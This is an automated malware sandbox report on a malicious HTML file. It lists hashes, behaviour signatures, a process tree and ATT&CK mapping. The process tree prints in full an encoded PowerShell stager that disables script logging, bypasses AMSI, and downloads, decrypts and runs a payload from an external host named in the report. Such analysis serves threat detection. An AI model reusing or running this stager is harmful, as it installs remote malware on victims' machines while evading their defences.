Overview

overview

10

Static

static

2b4fb8da8c...e.html

windows7_x64

10

2b4fb8da8c...e.html

windows10-2004_x64

10

Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31-01-2022 18:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2b4fb8da8c7c191418e66e8630c9269a3d090d908e17b1daa16fcf9e9566502e.html

  • Size

    5KB

  • MD5

    ef7173b03c9e2d414d8799a1b5753b13

  • SHA1

    508cea62f4eaeb919abec7875c96760877c3e65a

  • SHA256

    2b4fb8da8c7c191418e66e8630c9269a3d090d908e17b1daa16fcf9e9566502e

  • SHA512

    426a7a6854e8c27d2d977194a051beb5478ce36b6c91a730801b4d3cfc8e910f28f6d8ef6f02eb6d0bba5ec3269241d974dfedceff64902cd363aa48355643e9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://RetirementPortal.acrtnic.com:443

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\2b4fb8da8c7c191418e66e8630c9269a3d090d908e17b1daa16fcf9e9566502e.html
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1728 CREDAT:275457 /prefetch:2
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1120
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBpAG8AbgBUAEEAYgBMAGUALgBQAFMAVgBlAFIAUwBJAG8AbgAuAE0AYQBqAE8AcgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBFAGYAXQAuAEEAUwBTAGUAbQBiAGwAeQAuAEcAZQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkAZQBgAEwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAVABWAGEAbABVAEUAKAAkAG4AdQBsAEwAKQA7AEkAZgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAQQBMAD0AWwBDAE8ATABMAEUAYwBUAEkATwBOAHMALgBHAEUATgBFAHIAaQBDAC4ARABpAGMAVABJAG8AbgBBAFIAWQBbAFMAVABSAGkAbgBHACwAUwBZAFMAdABFAG0ALgBPAEIAagBFAGMAdABdAF0AOgA6AE4ARQBXACgAKQA7ACQAdgBhAGwALgBBAGQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAdgBBAEwALgBBAGQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJAB2AEEATAB9AEUAbABzAEUAewBbAFMAYwByAEkAUAB0AEIATABPAGMAawBdAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBhAGwAdQBFACgAJABuAFUAbABsACwAKABOAGUAdwAtAE8AYgBKAEUAQwBUACAAQwBvAEwATABlAEMAVABJAE8AbgBTAC4ARwBlAG4ARQByAGkAYwAuAEgAQQBzAEgAUwBFAFQAWwBzAHQAcgBJAG4ARwBdACkAKQB9AFsAUgBFAGYAXQAuAEEAUwBTAGUATQBiAGwAWQAuAEcARQBUAFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBJAEUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAGEATABVAEUAKAAkAE4AVQBsAGwALAAkAHQAcgBVAEUAKQB9ADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAEUAVAAuAFMARQByAHYASQBjAGUAUABvAGkAbgBUAE0AYQBuAEEAZwBlAHIAXQA6ADoARQBYAFAAZQBDAHQAMQAwADAAQwBPAG4AdABpAE4AVQBFAD0AMAA7ACQAdwBDAD0ATgBFAHcALQBPAEIAagBFAEMAdAAgAFMAeQBzAHQARQBNAC4ATgBlAFQALgBXAGUAYgBDAGwAaQBlAG4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawAgAD0AIAB7ACQAdAByAHUAZQB9ADsAJAB3AGMALgBIAEUAQQBkAEUAcgBzAC4AQQBEAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AEMALgBQAFIATwB4AFkAPQBbAFMAWQBzAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAUQB1AEUAcwBUAF0AOgA6AEQAZQBmAGEAdQBMAFQAVwBFAGIAUAByAE8AeAB5ADsAJAB3AEMALgBQAFIAbwB4AHkALgBDAFIAZQBEAEUATgBUAGkAYQBMAHMAIAA9ACAAWwBTAHkAcwB0AGUATQAuAE4AZQB0AC4AQwBSAEUARABFAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAEYAYQBVAGwAdABOAEUAVABXAE8AcgBLAEMAcgBFAEQAZQBOAFQASQBhAEwAUwA7ACQAUwBjAHIAaQBwAHQAOgBQAHIAbwB4AHkAIAA9ACAAJAB3AGMALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAeQBTAFQAZQBNAC4AVABFAFgAdAAuAEUAbgBDAE8AZABpAG4ARwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAFkAdABlAFMAKAAnAF0ATgBMADAARQBrAGcAUwBxAFYAIwA3AD0AdQBBADsAOQAyAH4AVAB8AE8ALAArAGoAdABvAGMAYgBaADUANAAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAEcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAFgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAHMAZQByAD0AJwBoAHQAdABwAHMAOgAvAC8AUgBlAHQAaQByAGUAbQBlAG4AdABQAG8AcgB0AGEAbAAuAGEAYwByAHQAbgBpAGMALgBjAG8AbQA6ADQANAAzACcAOwAkAHQAPQAnAC8AYQBkAG0AaQBuAC8AZwBlAHQALgBwAGgAcAAnADsAJAB3AGMALgBIAGUAQQBEAEUAUgBzAC4AQQBEAEQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG4APQBBAGEAYgBiAGUAOABBADYASQB6AGQAWAA1AFgAcQAwAC8AQgBRAFgAYQBTADkAZABnAGUARQA9ACIAKQA7ACQAZABhAFQAQQA9ACQAVwBDAC4ARABvAHcAbgBsAE8AYQBkAEQAQQB0AGEAKAAkAFMAZQBSACsAJABUACkAOwAkAGkAVgA9ACQAZABBAFQAQQBbADAALgAuADMAXQA7ACQAZABBAFQAQQA9ACQAZABBAHQAQQBbADQALgAuACQARABBAHQAQQAuAGwAZQBOAEcAVABoAF0AOwAtAGoATwBJAE4AWwBDAEgAQQBSAFsAXQBdACgAJgAgACQAUgAgACQARABhAHQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1652

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1652-55-0x0000000075B11000-0x0000000075B13000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1652-58-0x0000000002280000-0x0000000002490000-memory.dmp
    Filesize

    2.1MB

    Download
  • memory/1652-59-0x0000000002280000-0x0000000002490000-memory.dmp
    Filesize

    2.1MB

    Download